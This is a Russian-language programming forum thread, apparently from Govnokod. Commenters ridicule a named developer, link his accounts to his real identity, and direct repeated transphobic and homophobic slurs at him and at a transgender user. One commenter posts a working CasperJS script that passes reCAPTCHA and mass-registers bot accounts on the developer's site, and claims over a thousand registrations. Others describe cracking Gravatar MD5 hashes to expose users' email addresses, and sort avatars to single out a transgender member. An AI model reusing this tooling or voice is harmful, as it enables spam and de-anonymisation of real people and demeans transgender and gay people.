                    Интересно, а трапов в КПРФ принимают?
                    Ответить
                      • А зачем ему два активных аккаунта?

                        Видите как всё сложно, противоречиво. Парадокс на парадоксе.

                        Юноша ходит в литературный клуб, увлекается программированием, по ночам шастает по городским паркам в женском платье, пишет социальную сеть, ведёт на ютубе канал.
                        Откуда что берётся у молодого человека, какой он сложный. А он не сложный. Он педераст.
                        Ответить
                        • > А зачем ему два активных аккаунта

                          – Макака и Мартышка смотрят на тебя с недоумением
                          Ответить
                          • Сарказм же.
                            С одного аккаунта он «Роман» «Костомаров», системный айтишник, Россия-1, КПРФ.

                            С другого он «Трап» «Багорович» «Питуль», бунтарь, анимешник, борец с системой, фэн Навального.

                            А в реальности неудачник и малолетний долбоёб.
                            Ответить
                              • Он узнал, что стабильно раз в месяц придётся истекать кровью?
                                Ответить
                                • Скорее всего Закар не знал, что у объекта его желания есть хуй
                                  Ответить
                              • > он не уверен, что хочет стать тян
                                Ну придётся выбирать: или военкомат, или пиписюнчик.

                                Вообще думаю он русня обыкновенная, скрепная. А трапом заделался чтобы откосить.
                                Ответить
                                • Заднеприводной вполне может быть ватным охранителем, например сосуд со спидом по фамилии красовский
                                  Ответить
                                    • По своим политическим взглядам приверженец социал-демократии европейского типа.

                                      В апреле 2021 года заявил о желании от имени власти посадить протестующих против Путина или «скинуть в Мойку».
                                      Ответить
                                      • > 28 декабря 2011 года в рамках избирательной кампании по выборам президента России Красовский возглавил предвыборный штаб кандидата Михаила Прохорова

                                        > 24 октября стал членом штаба Собчак
                                        > 1 марта 2018 года покинул штаб вследствие конфликта с Ксенией Собчак

                                        > В октябре 2020 года назначен директором вещания на русском языке телеканала RT

                                        Блядь и провокатор.

                                        По своим политическим взглядам приверженец той партии где больше платят.
                                        Ответить
                  • А это может быть просто тёзка.

                    Хотя, с другой стороны, Шахты — всё-таки не миллионник, а фамилия не Иванов, не Соколов и не Кузнецов.
                    Ответить
                    • Он. 100%.

                      Это был сарказм: уже не крутой майнкрафтер с двумя проектами, а профессиональный ойтишник.
                      Ответить
                    • > а фамилия не Иванов, не Соколов и не Кузнецов.

                      > Birthday: May 22, 1902
                      > Birthday: May 20

                      Какая шифровка )))
                      Ответить
                  • Основы Python

                    1- Основы Python 3
                    2- Подключение к MS SQL с помощью Python + pyodbc
                    3- Python: подключение к PostgreSQL
                    -----

                    неожиданно
                    Ответить
  • Прыщедоки это что-то с чем-то
    Warning: Do not regard this man page as documentation of the
           Linux console ioctls.  This is provided for the curious only, as
           an alternative to reading the source.  Ioctl's are undocumented
           Linux internals, liable to be changed without warning.  (And
           indeed, this page more or less describes the situation as of
           kernel version 1.1.94; there are many minor and not-so-minor
           differences with earlier versions.)
    
           Very often, ioctls are introduced for communication between the
           kernel and one particular well-known program (fdisk, hdparm,
           setserial, tunelp, loadkeys, selection, setfont, etc.), and their
           behavior will be changed when required by this particular
           program.


    Прыщеблядь такая: ко-ко-ко, у винды документирован только API, а сисколы нет.
    А в Linux документированы сисколы.

    Ну разумеется сискол ``ioctl`` документирован.
    А что его параметры для конкретных частей ядра нет -- так это и не важно, да?

    Use POSIX API
    Ответить
    • > ioctl's are undocumented linux internals

      Ну и кто мне тут залечивал, что они документированы?
      Ответить
      • >Ну разумеется сискол ``ioctl`` документирован.
        >А что его параметры для конкретных частей ядра нет -- так это и не важно, да?
        Ответить
  • var casper = require('casper').create();
    casper.userAgent('Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.164 Safari/537.36');
    casper.options.viewportSize = {width: 1366, height: 768};
    casper.start();
    
    for(var i = 1; i < 100; i++) {
    
    casper.thenOpen('https://social.katelinlis.xyz/login&#039;, function() {
      this.wait(3000);
    });
    
    casper.then(function() {
      this.sendKeys("input#InputUsername", 'KOPOBA HOMEP ' + i);
      this.sendKeys("input#InputPassword", 'Magadan');
      this.click('input[type="button"]',"50%","50%");
    });
    
    casper.thenEvaluate(function(username, password) {
      document.querySelector('input[id="InputUsername"]').setAttribute('value', username);
      document.querySelector('input[id="InputPassword"]').setAttribute('value', password);
      grecaptcha.ready(function () {
        grecaptcha.execute('6LfyLyIcAAAAALaiGsWJhlGVavDKRU-2BWmtkzaE', {'action': 'submit', 'username': username})
          .then(function (recaptcha) {
            axios.post('https://social.katelinlis.xyz/api/auth/login&#039;, {'username': username, 'password': password, 'recaptcha': recaptcha})
              .then(function (response) {
                if (response.data && response.data.token) {
                  window.localStorage.setItem('InputUsername', username);
                  window.localStorage.setItem('token', response.data.token);
                  setCookie('token', response.data.token);
                  document.location.href = 'https://social.katelinlis.xyz/user/&#039; + response.data.userid;
                }
                console.log(response);
              })
              .catch(function (error) {
                console.log(error);
              });
          });
      });
    }, 'KOPOBA HOMEP ' + i, 'Magadan');
    
    casper.then(function() {
      this.wait(10000);
    });
    
    casper.thenEvaluate(function() {
      localStorage.removeItem('token');
      deleteCookie('token');
    });
    
    }
    
    casper.run(function() {
      this.exit();
    });
    Ответить
    • Осталось только прикрутить автоматическую загрузку авок с thispersondoesnotexist, и будет крипота.
      Ответить
        • Кстати, капча показывается не каждый раз. В течение какого-то времени после успешно разгаданной капчи предлагают просто поставить галочку.

          Можно наговнокодить интерфейс, чтобы в тяжёлых случаях робот снимал скриншот и показывал его человеку для разгадывания. Но тогда человек не сможет помочь, если капча с динамически меняющимися картинками. Проще уже сразу запускать обычный браузер.
          Ответить
          • > Кстати, капча показывается не каждый раз.

            Зависит от зашкваренности айпишника и твоей активности вроде...
            Ответить
      • Надо было делать больший интервал.
        Ответить
        • Ключ сайта сменился. Похоже, что не рекапча обнаружила подвох, а владелец сайта сменил настройки.

          Теперь регистрация действительно защищена.

          Ну хотя бы я теперь узнал, как работать с хедлесс-браузерами.
          Ответить
          • Сколько коров удалось зарегистрировать?
            Ответить
            • Все 99 из скрипта зарегистрировались. Я потом ещё несколько сотен обезьян зарегистрировал (сколько точно, не знаю, потому что не писал журнал).

              Сейчас все вычищены вилкой.
              Ответить
              • Регистрируй нормальных пользователей, как описывал 1023, чтобы нельзя было отличить от реальных пользователей.
                Ответить
                • Да я уже понял. Надо было имена выдавать из словаря.

                  Если бы сразу сделал нормально, не пришлось бы сейчас автобусы искать.
                  Ответить
                  • Подсказка: бери юзернеймы с говнокода, только петухов нужно убрать.
                    Ответить
                    • На «Говнокоде» имена специфические. У меня теперь есть и другие словари. Например, на фотохостингах юзернеймы менее подозрительные.
                      Ответить
                          • Почты поляков не намайнишь словоподобными ворециями. Надо увеличивать лимит согласных и замедлять перебор.
                            Ответить
                            • Вообще, перебор почт завораживает и затягивает. Ты словно на бесконечном клубничном поле. Сначала ничего нет, но потом ты садишься на корточки и видишь первые ягоды. Ты их удовлетворённо собираешь и тянешь руку к соседним. Потом ты объедаешь по кругу ягоды в радиусе 5 метров. Потом - в радиусе 10 метров, потом переписываешь прототип на сишку ездишь на велосипеде собирать ягоду в окрестностях. Потом майнишь на видеокарте уже собираешь с трактором и ездишь в автомобиле.
                              В какой-то момент не обходится без найма отряда колхозников, армии китайских фермеров, межгалактической команды клубничников. Но всё равно тебе хочется попробовать ту ягоду, которая находится дальше, чем в том месте, где ты сейчас собираешь.
                              А когда даже если межгалактическая команда клубничников всё соберёт, поднакопится новый список хэшей для разгадки. И повторится всё как встарь. Ночь, золотая рябь вореций, логины, хэши аватарь.

                              Если выводить статус раз в миллион-другой кобенаций из [a-z0-9\-\+\._], вылезает достаточно много (по сравнению с субьективным ожиданием) словоподобной питушни, которую интуитивно читаешь, интерпретируешь и восхищаешься креативностью.

                              Если ты гибкий и не можешь зарегистрироваться, попробуй 4qi6kjy@gmail.com
                              А если ты куболюб, - то ku6mlu6@gmail.com
                              Добавь к этому 3-4 ещё символа - и тебя гарантированно никакой Августовский не вычислит по IP MD5.
                              Ответить
                              • Вероятно, перспективно майнить питушню вида i.ivanov или другими словами, letter, '.', word или letter, '.', word, number, где word - слово, известный логин и т.п.
                                Ответить
                                • Нашёл несколько ящиков на собственном домене по образцу:
                                  {admin, info, mail, me, webmaster} + @ + {имя юзера} + {популярный корневой домен}.

                                  *****

                                  Ещё помайнил по «Викисловарю». Здесь список дампов всех проектов «Викимедиа»:
                                  https://dumps.wikimedia.org/backup-index.html

                                  Мне помог следующий дамп:
                                  https://dumps.wikimedia.org/enwiktionary/20210820/enwiktionary-20210820-all-titles-in-ns0.gz

                                  В нём только названия статей в основном неймспейсе, больше ничего. Их оказалось более 6 миллионов.

                                  Английская версия словаря содержит слова не только на английском, а на всех языках, просто в статьях описания английские.

                                  Нелатинские буквы транслитерировал в латиницу с помощью «ICU». Правда, для кириллицы использовался один вариант из множества существующих, но это лучше, чем ничего (можно потом попробовать поменять «ivanov» → «iwanow» и т. п.). Транслитератор даже иероглифы перевёл в звучание.
                                  Ответить
                                  • А я напесала итератор слов как говорила тут
                                    > пахоже на mailcatch надо генирировать вареции нападодобие реальных слов вида "аба", "абаба", "баба", "ббаба", "абба" и тп

                                    Если он не глючный, то можно быстрее майнить ботов на мылькаче. Ну или ещё как-нибудь использовать.

                                    На практике вышел 3-5% оверхед на генерацию по сравнению с честным перебором, т.е. коэффициент Кобе1% [1] умножается на 1.05.

                                    Заодно попробовала майнить номерных с того сайта. От 2-2-0-0-слов тут толку мало, поскольку у них полный рандом, но хотя бы можно найти несколько учёток, чтобы поставить галочку "я знаю >50% номерных из той группы".
                                    ________________
                                    [1] https://govnokod.xyz/_26838/#comment-654820
                                    Ответить
                              • > на видеокарте.

                                Изучал этот вопрос. В зоне моей видимости не оказалось техники, на которой можно майнить через интерфейсы «CUDA» и «OpenCL».

                                Нашёл такую питушню:
                                https://www.hackitu.de/ogl_md5/

                                После очевидных патчей собирается в «Mingw».

                                На одной машине не завелась, потому что драйвер принимает только «GLSL 1.2», а в нём нету массивов из целых беззнаковых питухов (uvec2, uvec4), есть только массивы из знаковых либо скаляры знаковые и беззнаковые. А ещё ругается на битовые операции (is supported in pack/unpack shaders only).

                                На другой машине драйвер принял этот «GLSL». Но программа почему-то не проходит selftest.
                                Ответить
                                • Жаль. Гигахэши оказались за горизонтом.
                                  Ответить
                                • > драйвер принимает только «GLSL 1.2»

                                  Верните мне мой 2007.
                                  Ответить
                                • Я запердолила свой компьютер майнингом,теперь уж точно завершаю. Послала всё в инженерный отдел.
                                  Ответить
            • Одновременно со мной кто-то занимался тем же самым, потому что айдишник за три тысячи перевалил.
              Ответить
      • Эх, молодёжь, всему надо учить. Кто-ж регистрацию капчей блокирует? Как надо: позволять регать юзеров хоть curl'ом, подозрительных сразу shadow-банить, и через некоторое время банить насовсем. И потом отчитываться инвесторам о миллионном росте аудитории.
        Ответить
        • А ведь у гигантов наверняка большая часть акков заморожена.

          На популярных блогоплатформах хоть какую-то активность проявило не более 0,3% зарегистрировавшихся. Значит, аудиторию можно смело делить на 300, а то и на большую константу.
          Ответить
            • Про 0,3% честно рассказали только создатели ныне закрытой платформы «Я.ру». Остальные предпочитают об этом не говорить, но если посчитать, столько же получится.
              Ответить
              • Что лучше, новый видеосервис ЯRUS или ныне закрытая платформа Я.ру?
                Ответить
                • ЯRUS пока не видел.

                  Я.ру была интересной. Там был забавный «коэффициент участия» (сокращённо «Ку»), который не менялся при монотонных действиях вроде флуда и увеличивался при неожиданных (когда публикуешь что-то действительно новое, например).
                  Ответить
        • Лучше как твиттере
          Давать регистрирваться, а через 3 часа банить и требовать указать номер телефона
          Ответить
          • Не я. Там ещё кто-то пытался алерты на js вставлять.

            Мои из выживших — Джигурда и guesto.
            Ответить
          • «Убийца ВКонтакте» теперь на новом домене:

            https://only-one.su/

            Гидранты не показывает. Можно снова попробовать Каспера туда запустить.
            Ответить
            • Надо так и сделать. Вот бы и я был продвинутым программистом, а не жалким анскильником... Тогда бы я сделал 40 тысяч фаек "трапы говно" и ехидно похихикал.
              Ответить
            • https://katelinlis.ru/

              > Мои профессиональные навыки заключаются в создании высокопроизводительных решений, чтобы как можно больше людей могло одновременно использовать мои программные разработки.

              И что же там за "высокопроизводительные решения", может она на ассемблере боттлнеки оптимизирует?
              Ответить
              • Ну как бы не всё в асм упирается, масштабируемость в ширину тоже без скиллов не запинать...
                Ответить
              • высокопроизводительные решения легли под нагрузкой когда туда стал Иканус срать, мы помним
                Ответить
                • Именно поэтому я за "aws". Там решения ложатся только вместе с кошельком разраба.
                  Ответить
                  • Смотря как настроишь. Можно вообще запускать лямбду, когда AWS сам найдет тебе нужный сервер для любой практически нагрузки, ну и счарджит с тебя 10К баксов конечно
                    Ответить
        • P.S. Новые айдишники выше 4,4 к. Значит, я успел зарегистрировать больше тысячи обезьян.
          Ответить
    • SEO-пост. Расскажу, что тут происходит, чтобы можно было найти поиском (хотя для многих всё очевидно).

      Используем пакет «casperjs» — унифицированную обёртку для пакетов «phantomjs» и «slimerjs». Первый использует специально сконпелированный беспилотный веб-браузер на движке «QtWebKit», второй использует установленный в системе «Firefox» (он его запускает с какими-то параметрами, чтобы он не открывал окна и работал по сценарию).

      npm i -g casperjs phantomjs phantomjs-bin slimerjs


      Далее устанавливаем User-Agent (я сначала спалился, забыв его установить) и размер виртуального экрана (по умолчанию он какой-то фуфлыжный типа 800×600).

      Шаблон «casper.start → casper.then → casper.run» — это промисы. Набиваем очередь заданий вызовом casper.then, а потом casper.run отправляет очередь на выполнение.

      «thenOpen» и «thenEvaluate» — это сокращения для цепочек (then, open) и (then, evaluate) соответственно.

      casper.sendKeys мумулирует события нажатия на клавиши, а не просто заполняет поле. Так же, как и casper.click не просто посылает событие нажатия, а мумулирует клик мышкой в определённых координатах (я кликнул в центр кнопки). Это на всякий случай, вдруг гуглокапча это всё проверяет.

      casper.evaluate исполняет код не в «Ноде», а в браузерном движке. Сразу по коду это неочевидно, потому что он не в кавычках. Используется тот факт, что в «JS» с помощью Function.toString() можно получить текст исходника любой ненативной функции и отправить его на eval в движок. Фактически используется методика оглупления, разработанная дзенским мастером Питушнёй, когда программиста заставляют смешать код, исполняемый на клиенте, и код, исполняемый на сервере, как runat="server" в «ASP».
      Ответить
      • Зачем мне понадобилось копировать со страницы код и отправлять его в evaluate, когда я мог просто кликнуть по кнопке или отправить в evaluate вызов «register()»? Проблема в строчке с axios.post. Старый движок «PhantomJS» не захотел обрабатывать сокращённое обозначение объекта «{username, password, recaptcha}» вместо валидного JSON «{'username': username, 'password': password, 'recaptcha': recaptcha}».

        Ну и самое говно здесь в вызове «wait». Мне лень было искать, какое событие нужно отловить, чтобы убедиться в готовности капчи, поэтому я поставил тупо 3 секунды. Этого с избытком хватало, чтобы вся питушня загрузилась и распарсилась. А дальше я ждал 10 секунд, потому что если не подождать, то почему-то новый юзер не сохранялся в базе. Опять же мне было просто лень выяснять, какое событие я должен поймать. Т. е. это говно теоретически можно было бы переписать и нормально.

        Вот и всё. Это взлетело. Рекапча приняла мой «браузер». Проблема появилась, когда проснулся п-р К-н.

        Испытательный стенд для работы с сайтами, где всё на скриптах, готов.

        Бонус. Скриншоты в «casperjs» снимаются так:
        casper.then(function() {
            casper.capture("screenshot.png");
        });
        Ответить
        • Спасибо, интересно было почитать. Код только мельком глянул.
          Ответить
          • Заодно ответ на вопрос, как самому снимать скриншоты, не прибегая к сторонним сервисам.
            Ответить
  • Братик вылажил ворециратор - итыратор, вареционирующий префикс пере данной строки c-v-словами. можна скланять питуха па падежам если забыли француский

    char buf[10] = "vo pitux";
    voreterator<1, 1> case_(buf, 2, 2); // итыратор ортикля
    voreterator<2, 1> word (buf+3, 7);  // итыратор слова
    
    for (auto str : case_) {
      std::cout << str << std::endl;
      ++word;
    }

    vo pitux
    vu pituy
    wa pituz
    we pitva
    wi pitve
    wo pitvi
    wu pitvo
    xa pitvu
    xe pitwa
    xi pitwe
    xo pitwi
    xu pitwo
    ya pitwu
    ye pitxa
    yi pitxe
    yo pitxi
    yu pitxo
    za pitxu
    ze pitya
    zi pitye
    zo pityi
    zu pityo

    https://github.com/1024--/voreterator
    Ответить
      • Эм, ты настоящая или это кто-то из местных метрику ломанул?
        Ответить
          • мало вам трапов было, еще накастовали

            Блядь хоть бы один раз настоящую тян сюда зазвали для разнообразия
            Ответить
                • Пони тут тоже есть. Вроде даже есть одна транс-пони.
                  Ответить
                      • Тогда любительница крестов и питона? Или кто ещё тут фанфики про поняшек упоминал?
                        Ответить
                        • Нет.

                          Попробуй сама найти. Можешь скачать все аватарки с говнокода, оттуда отобрать аватарки с понями, и обладательница по крайней мере одной из таких аватарок - MtF транс. Но это я не с говнокода узнал, если что.
                          Ответить
                          • Понелюбов на «ГК» не так много оказалось:
                            SkaarjZR     http://govnokod.ru/user/1073
                            hdkeeper     http://govnokod.ru/user/1249
                            Nekit1234007 http://govnokod.ru/user/1521
                            WST          http://govnokod.ru/user/1808
                            mitallast    http://govnokod.ru/user/2432
                            deadwire     http://govnokod.ru/user/3192
                            SmseR        http://govnokod.ru/user/4973
                            DarkUser     http://govnokod.ru/user/6309
                            typedef      http://govnokod.ru/user/6810
                            EpicMan2     http://govnokod.ru/user/21887
                            superhackkiller1997 http://govnokod.ru/user/7225


                            Ну ещё косплей на «Суперхаккиллера»:
                            http://govnokod.ru/user/67373
                            И «глупый петух», стилизованный под «MLP»:
                            http://govnokod.ru/user/26080

                            Вроде всё.
                            Ответить
                                  • Всё, понял. Было три сериала: «This article is about the 1986 television series. For the 1992 television series, see My Little Pony Tales. For the 2010 television series, see My Little Pony: Friendship Is Magic.»
                                    Ответить
                                    • Инженер Боинга Кеннет Пиньян форсил пони за долго до говнокода.


                                      Кстати, последний дебиан называется Bullseye в честь того самого арабского жеребца)
                                      Ответить
                                      • Читал самолётосрачи. Пишут, что после «Эрбаса» управлять «Боингом» нереально, потому что «Эрбас» прощает некоторые ошибки, а «Боинг» капризный.

                                        А «737 MAX» и вовсе оказался говном. Они поставили на него новые двигатели, из-за чего сместился центр тяжести, а пересчитывать планер под изменившиеся условия им было лень. Проблему попытались решить программно, но наротоёбили, в итоге опытные лётчики стали отключать автопилот, чтобы он не свалил самолёт.

                                        Вот к чему приводит зоофилия.
                                        Ответить
                                        • а я читал, что у Боинга было слияние с Макдоннел-Дугласом, из которого пришли манагеры со своим представлением про какчество

                                          и всё покатилось
                                          Ответить
                              • Да, эту пропустил.

                                Нужен «Гост» с нейросетями для автоматической классификации аватарок.
                                Ответить
                              • Там на аватарке качество 10 шакалов из 10... Или ты полноформатную на ютубе нашёл?
                                Ответить
                                    • Судя по цвету, это либо пони, либо баклажан. Баклажан обнимать странно, поэтому остаётся пони.
                                      Ответить
                                        • везу тебя как рубиста
                                          или как минимум как питониста
                                          Ответить
                                            • Вот кстати, почему провайдеры ставят дебильную заглушку, из которой ничего не понятно? Почему в качестве заглушки нельзя поставить редирект на сайт «isitblockedinrussia»?
                                              Ответить
                                                • нет, https в России пока разрешен. Его запретят к концу этого года
                                                  Ответить
                                                  • > запретят

                                                    Ну зачем так сразу? Ставишь сертификат суверенного MITM'а и пользуешься. Всякие банки да госуслуги, возможно, даже без MITM'а будут доступны.
                                                    Ответить
                                              • > дебильную заглушку

                                                Мегафон, емнип, какие-то свои говносервисы пиарил на этих заглушках.

                                                Этот сайт заблочен, но вот есть наша альтернатива всего за N рублей в день.
                                                Ответить
                                                • «Но вы можете подписаться на Мегафон-ВПН за Х рублей в день»
                                                  Ответить
                                                • > Этот сайт заблочен, но вот есть наша альтернатива всего за N рублей в день.

                                                  Не, на таких говнозаглушках лучше какой-нибудь VPN рекламировать
                                                  Ответить
                                                  • > VPN

                                                    Покупаешь VPN по рекламе с заглушки, а он фильтрованный. Ибо за рекламу нефильтрованного их самих забанят.
                                                    Ответить
                                                    • > Покупаешь VPN по рекламе с заглушки, а он фильтрованный.

                                                      Зато они могут рекламировать сайт, гдн рекламирут нефильтрованный VPN.
                                                      Ответить
                                                      • Не забывай про транзитивность.

                                                        Если сайт дает ссылку на запрещёнку и не хочет ее удалять, то он сам попадает в множество запрещенки.
                                                        Ответить
                                                          • Правильный подход с точки зрения безопасности -- запретить всё, ревьювить и разрешать то что необходимо.
                                                            Ответить
                                                          • И вообще blacklist -- это убогий костыль и антипаттерн.

                                                            Невозможно контролировать множество, в которое неконтролируемо добавляются новые элементы.

                                                            Именно поэтому я за whitelist.
                                                            Ответить
                                                            • "Лига Безопасного Интернета" приглашает Вас занять должность "защитник духовных ценностей".

                                                              С уважением
                                                              Е. Мизулина
                                                              Ответить
                                                              • > защитник духовных ценностей

                                                                Предлагаю пускать в инет только при наличии прав соответствующей категории. А при проступках (к примеру, управлению компом в нетрезвом виде) штрафовать или лишать прав.

                                                                Категорию А для read/only просмотра разрешенных ресурсов можно выдавать всем желающим после небольшого инструктажа.

                                                                Категорию Б для комментирования на разрешенных ресурсах.

                                                                Категорию С для создания разрешенных ресурсов.

                                                                И категорию Д для доступа к прочим ресурсам при производственной необходимости.
                                                                Ответить
                                                                • Напоминает радиолюбителей. После небольшого инструктажа можно приобрести радиоприёмник и слушать других в режиме ридонли.

                                                                  Набрав стаж, можно приобрести передатчик и выходить в эфир.

                                                                  Радиолюбители, кстати, для подтверждения состоявшихся сеансов связи обмениваются карточками (QSL), пересылая их по обычной почте.
                                                                  Ответить
                                                                • Ну да. Внутреняя партия, внешняя партия, и пролы.
                                                                  Ответить
                                                                  • > пролы

                                                                    Самое страшное -- это реально работоспособная схема, не требующая каких-то запердельных инвестиций и переделок.

                                                                    Всё необходимое для "А" и "Б" уже есть внутри страны, инфраструктура почти готова к дисконнекту.

                                                                    А "С" какое-то время поживут с правами от "Д", если будут себя хорошо вести. А они будут.
                                                                    Ответить
                                                                    • В принципе можно оставить только ВК и Одноклассники. 99% людей этим удовлетворятся.

                                                                      Ну мессенджер им там какой-нить добавить, "там-там" например.

                                                                      А кому нужен ssh во внешний мир -- пусть вступают в "Имперский союз программистов", и получают доступ под роспись. Да и то, большинству хватит Яндекс.Облака
                                                                      Ответить
                                                                • Правильно, просмотр .text и .data только по допуску из первого отдела УГМС КГБУ
                                                                  Ответить
                                                                  • > по допуску

                                                                    И только если отучился на соответствующей специальности и отслужил.

                                                                    Чем больше времени и сил потрачено на получение статуса, тем ответственнее человек к нему относится.
                                                                    Ответить
                                                                    • И чтобы в не отделавшуюся одними помидорами Турцию не ездил!
                                                                      Ответить
                                                            • А вообще whitelist -- это убогий костыль и антипаттерн.

                                                              Невозможно контролировать множество, в которое нельзя автоматически добавлять элементы.

                                                              Именно поэтому я за blacklist.
                                                              Ответить
                                                              • Почему?

                                                                Можно и автоматически добавлять, если добавляемый несет какую-то ответственность помимо удаления из множества.
                                                                Ответить
                                                • Но ведь так и надо, ходить на цырлах под хуйловскими """"законами"""" выходит дороже всем сторонам.
                                                  Ответить
                                              • Журналировать тех, кто нарушает дорого прямо на железке, которая детектит нарушения.
                                                Ответить
                                            • > "производественная необходимость в открытии этого сайта временно отсутствтует"

                                              Производственная необходимость и в "чтении"/"отправке комментариев на" говнокод отсутствует, если что
                                              Ответить
                                            • Проблемы людишек девочку-волшебницу не волнуют.
                                              Ответить
                          • >транс

                            увлекательная игра "найди транса"?
                            Ответить
                                • P.S. Противотанковая вроде от лёгкого наступания пехотинца не должна взрываться, по ней попрыгать нужно для верности.
                                  Ответить
                                  • После 25 лет она взорваться может из-за слишком пристального взгляда.
                                    Ответить
                                • >Their wives could not even find their flesh because the blast destroyed everything,

                                  а неужели там ошмёток не было на потолке? или там не отличить где чье?
                                  Ответить
                                  • > а неужели там ошмёток не было на потолке?

                                    Вспомнилась история про ядерный реактор [1], у которого управляющий стержень застрял, и его чувак силой выдёргивал. Там ошмётки остались на потолке.

                                    [1] https://en.wikipedia.org/wiki/SL-1
                                    Ответить
                          • Я понял, почему MtF так любят аватарки с понями.

                            Твоё предложение по добыче цианокобаламина (B12) навело меня на идею добычи ксеноэстрогена эквола.
                            Ответить
                              • Давайте регистрировать лошадей!

                                И кто-нибудь напишет комментарий: это каждый конь (каждая кобыла) знает.
                                Ответить
                                • > регистрировать лошадей
                                  Если бы рашка была великой хотя бы настолько, что многие из плебса были шевалье, то было бы

                                  The horse may get its own NJ license plate and I’m here for it

                                  Jeff ((Deminski))
                                  Ответить
                                • ага, и ник Kenneth Pinyan к нему.

                                  Кстати, заведи такой ник!
                                  Ответить
            • Izox ubeq us iy rituc tocir! Opuh cicoval qeg hotez imicix ok upun zaq ohiqub. Ix oqulav xelos cozeqos. Cuhirel mof ov uwozog, budan hew dagajiq. Damupuw ef, awaxew defafuh kepay.
              Ответить
            • я кстати не трап, а транссексуальная девушка
              это немного другое
              Ответить
              • > транссексуальная девушка

                Попрошу не использовать слово «девушка» для описания себя, ведь ты не девушка и никогда ей не станешь, даже если сделаешь себе «пизду из прямой кишки» и отрастишь «силиконовые дойки».

                Люди ведь не говорят, что они морские огурцы с руками и ногами)
                Ответить
                  • Двуногое без перьев с плоскими ногтями.

                    Вот раньше хорошо было, можно было сказать какую-нибудь забавную питушню, и все бы это обсуждали всерьёз с заумными выражениями лиц.
                    Ответить
                    • Международный Философский Союз признал Платона малым мыслителем потому что недостаточно волос, чтобы закруглиться.
                      Ответить
                      • Плутон оказался обычным плутом, а притворялся планетой




                        Я так хотел бы опираться на Платон
                        Ответить
                    • Прогатора можно


                      Друг. Откуда ты, Сократ? Впрочем, и так ясно: с охоты за красотою Алкивиада! А мне, когда я видел его недавно, он показался уже мужчиной – хоть и прекрасным, но все же мужчиной: ведь, между нами говоря, Сократ, у него уже и борода пробивается.

                      Сократ. Так что же из этого? Разве ты не согласен с Гомером, который сказал, что самая приятная пора юности – это когда показывается первый пушок над губой, – то самое, что теперь у Алкивиада?


                      Дней без античной философии на Говнокоде:
                      Ответить
                  • Смотря какой человек

                    Иной и правда
                    Ответить
              • У девушки две хромосомы X, и вагина.
                А ты мужик, которому нравится переодеваться в баб.
                Ответить
              • Во-первых, ты не девушка.

                Во-вторых, ты психически больной.
                Ответить
                • Я читал статью про гормональные нарушения при психических заболеваниях. У шизофреников падает уровень половых гормонов (чуть ли не в десять раз), причём у мужчин сильнее падает тестостерон, а у женщин — эстрадиол.

                  Что первично, не знаю, но при сниженном уровне гормонов мозг плохо работает. Трапы, гася уровень своих гормонов, усугубляют ситуацию.

                  Короче, если бы он поднял тестостерон (занимался физическими упражнениями, употреблял больше мяса и пищу, богатую цинком), возможно, и желание траповать отпало бы само собой.

                  Слышал гипотезу, что желание траповать у мужчин возникает от малоподвижного образа жизни. Сычуя за компом, они просаживают тестостерон и накапливают ароматазу. Думаешь, почему так много трапов среди программистов?
                  Ответить
                  • Так вот почему у милениалов тестостерона меньше, чем у бумеров, и милениалы чаще становятся them/they, асексуалами и в целом меньше ебуца: поому что они все веганы и за компом много сидят
                    Ответить
          • Добрый вечер! Добро пожаловать на ГК!
            Ответить
            • У нас тут есть аккаунты, пароли которых сгенерированы взятием подстроки из моего ника, их после этого взламывают т.н. "уебки" и начинают спамить с них всякой хренью

              Короче, тут своя атмосфера
              Ответить
              • lol
                нужно иметь уникальный пароль желательно длинной в 30 символов
                Ответить
        • я там добавила поддержку стены :3
          надо бы сделать опенсурс бэк...
          Ответить
          • но смысл от опенсурсного бэка
            если мне по фронтенду не помогают

            но вот заказчику можно бэк показать
            Ответить
            • Лучше покажи мне пизду, трап. Ах, совсем забыл, ты ведь не настоящая девушка (и никогда ей не станешь), поэтому даже если и покажешь пизду, то это будет уродливая абоминация, сделанная сумасшедшим врачом из прямой кишки.
              Ответить
                • А вдруг у меня «синдром Туррета», а вы мне ставите «минусы»? Тогда это вы токсичные, нетолерантные, а ещё эйблисты!
                  Ответить
                  • > токсичные, нетолерантные, а ещё эйблисты

                    Въебал плюс.

                    Нужно проявлять толерантность к трапофобам.
                    Ответить
                  • >эйблисты
                    [quote]
                    Так например, известный злодей Капитан Крюк, с крюком вместо руки (из книги «Питер Пэн» и франшиз на её основе), популярный образ одноногого/одноглазого пирата, и т. д. — популяризирует страх детей перед людьми с инвалидностью
                    [/quote]

                    ща левацкий вок-скам закенселит питера пена
                    Ответить
                    • В «Питере Пэне» ещё нашли пропаганду наркотиков (странный порошок, после которого появляется чувство полёта).
                      Ответить
                      • А в сказке про Кролика и соломенное (дегтярное в англ варианте) чучелко нашли расизм
                        Ответить
                    • > Caitlin Lees

                      Транслит русской транскрипции на инглиш. Двойное преобразование.

                      Помню, несколько лет назад смотрел олимпиаду или какой-то чемпионат. Спортсмена Ли из Юго-Восточной Азии в одних титрах подписали как «Li», в других — как «Lee».
                      Ответить
            • > но вот заказчику можно бэк показать

              Ну как, показала?
              Ответить
              • Под бэком трап, вероятно, имел в виду свою раздроченную мерзкую трапскую задницу.
                Ответить
        • Проверил хэши. Либо кто-то из местных ломанул почту, либо нашёл коллизию.
          Ответить
            • URL, по которому граватар отдаёт юзерпик, содержит пресный (не солёный) md5 хеш мыла регистранта. Таким образом, можно определить, что аккаунт зареган на данное конкретное мыло.
              Ответить
                • Блин, кстати годная тема про освещение, это RGB гирлянда или обычная во второй комнате?
                  Ответить
                  • в одной rgb в другой гирлянда
                    щас контролирую через хоум ассистент
                    Ответить
    • Фу блять, фу нахуй.

      Во-первых, зачем Кресты? Ну ладно, Настенька, понятно.

      Во-вторых, зачем копипаст для шифра Цезаря?
      static char next (char c) {
          switch (c) {
            case 'a': return 'b';
            case 'b': return 'c';
            case 'c': return 'd';
            case 'd': return 'e';
            case 'e': return 'f';
            case 'f': return 'g';
            case 'g': return 'h';
            case 'h': return 'i';
            case 'i': return 'j';
            case 'j': return 'k';
            case 'k': return 'l';
            case 'l': return 'm';
            case 'm': return 'n';
            case 'n': return 'o';
            case 'o': return 'p';
            case 'p': return 'q';
            case 'q': return 'r';
            case 'r': return 's';
            case 's': return 't';
            case 't': return 'u';
            case 'u': return 'v';
            case 'v': return 'w';
            case 'w': return 'x';
            case 'x': return 'y';
